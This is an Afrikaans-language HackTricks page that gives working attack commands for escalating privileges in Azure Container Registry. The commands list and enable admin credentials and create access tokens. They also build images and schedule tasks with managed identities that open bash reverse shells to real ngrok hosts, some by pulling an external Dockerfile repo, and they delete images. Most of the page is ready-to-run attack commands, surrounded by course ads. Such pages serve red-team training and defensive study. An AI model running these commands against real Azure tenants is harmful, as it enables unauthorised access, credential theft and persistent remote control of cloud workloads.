Az - Azure Container Registry Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Azure Container Registry
Vir meer inligting, kyk:
Microsoft.ContainerRegistry/registries/listCredentials/action
Hierdie toestemming laat die gebruiker toe om die admin geloofsbriewe van die ACR te lys. Dit is nuttig om volledige toegang tot die registrasie te verkry.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
As die admin geloofsbriewe nie geaktiveer is nie, sal jy ook die toestemming Microsoft.ContainerRegistry/registries/write nodig hê om hulle te aktiveer met:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action
Hierdie toestemmings laat die gebruiker toe om ’n nuwe token te skep met wagwoorde om toegang tot die registrasie te verkry.
Om die az cli te gebruik om dit te genereer soos in die volgende voorbeeld, sal jy ook die toestemmings Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read benodig.
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Hierdie toestemmings laat die gebruiker toe om ’n beeld te bou en uit te voer in die registrasie. Dit kan gebruik word om kode in die houer uit te voer.
Warning
egter, die beeld sal in ’n sandboxed omgewing uitgevoer word en sonder toegang tot die metadata diens. Dit beteken dat die houer nie toegang tot die instansie metadata sal hê nie, so dit is nie regtig nuttig om voorregte te verhoog nie.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Dit is die hooftoestemming wat toelaat om ’n taak in die registrasie te skep en op te dateer. Dit kan gebruik word om kode binne ’n houer met ’n bestuurde identiteit daaraan geheg in die houer uit te voer.
Hierdie is die voorbeeld van hoe om ’n reverse shell in ’n houer met die stelsel bestuurde identiteit daaraan geheg uit te voer:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
’n Ander manier om ’n RCE uit ’n taak te verkry sonder om ’n eksterne repository te gebruik, is om die az acr task create opdrag met die --cmd vlag te gebruik. Dit sal jou toelaat om ’n opdrag in die houer uit te voer. Byvoorbeeld, jy kan ’n omgekeerde skulp met die volgende opdrag uitvoer:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
Tip
Let daarop dat jy nie enige spesiale toestemming nodig het om die stelsels bestuurde identiteit toe te ken nie, alhoewel dit voorheen in die registrasie geaktiveer moes wees en ’n paar toestemmings toegeken moes wees om nuttig te wees.
Om ’n gebruikers bestuurde identiteit ook toe te ken, sal jy die toestemming Microsoft.ManagedIdentity/userAssignedIdentities/assign/action nodig hê om te doen:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Om die opdatering van die repo van ’n bestaande taak te doen, kan jy:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Met hierdie toestemming is dit moontlik om ’n beeld na die azure registrasie te importeer, selfs sonder om die beeld plaaslik te hê. Let egter daarop dat jy nie ’n beeld met ’n etiket kan invoer wat reeds in die registrasie bestaan nie.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Om ’n spesifieke beeldtag te ontmerk of te verwyder van die registrasie, kan jy die volgende opdrag gebruik. Let egter daarop dat jy ’n gebruiker of token met voldoende regte nodig sal hê om dit te doen:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

